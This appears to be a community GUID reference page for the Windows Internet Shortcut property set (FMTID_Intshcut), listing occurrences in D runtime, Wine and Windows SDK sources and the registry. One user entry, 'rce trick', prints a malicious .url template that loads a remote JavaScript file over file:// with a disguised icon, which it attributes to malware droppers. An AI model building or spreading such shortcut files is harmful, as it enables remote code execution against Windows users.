000214a0-0000-0000-c000-000000000046
MS LNK Internet shortcut thing

000214a0-0000-0000-c000-000000000046 MS LNK Internet shortcut thing

MS LNK Internet shortcut thing

??
10
MS uuid.d FMTID_Intshcut

from dlang/druntime/master/src/core/sys/windows/uuid.d
7 MS uuid.d push
rce trick

some malware droppers are including the following in a .url text file to leverage Microsoft Windows remote code execution features.
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,9
[InternetShortcut]
URL=file://ip/file.js
IconFile=C:\Windows\system32\shell32.dll
IconIndex=46
IDList=
HotKey=0
7
FMTID_Intshcut

Wine 1.1.10 includes
file: shlguid.h

from Mikołaj Zalewski's http://mikolajapp2.appspot.com - wine11.xml
0 autopush - wine11
FMTID_Intshcut

Windows SDK 6.0
file: ShlGuid.h

from Mikołaj Zalewski's http://mikolajapp2.appspot.com - wdk6.xml
1 autopush - wdk6
HKLM\SOFTWARE\Classes\CLSID\{06EEE834-461C-42c2-8DCF-1502B527B1F9}\Instance\PropertySetStorage

Windows Vista Registry
object: reg-subkey
name: None
key: HKLM\SOFTWARE\Classes\CLSID\{06EEE834-461C-42c2-8DCF-1502B527B1F9}\Instance\PropertySetStorage

from Mikołaj Zalewski's http://mikolajapp2.appspot.com - reg-vista.xml
0 autopush - reg-vista
(in wine/dlls/ieframe/tests/intshcut.c:313) "[{000214A0-0000-0000-C000-000000000046}]\n"

from the wine source code
-1 autopush - wine
dlls/ieframe/tests/intshcut.c:312

"[{000214A0-0000-0000-C000-000000000046}]\n"
in ./dlls/ieframe/tests/intshcut.c:312
3 wine
wine/dlls/ieframe/tests/intshcut.c:312

"[{000214A0-0000-0000-C000-000000000046}]\n"
in wine/dlls/ieframe/tests/intshcut.c:312
-2 wine


THIS IS GRET 
0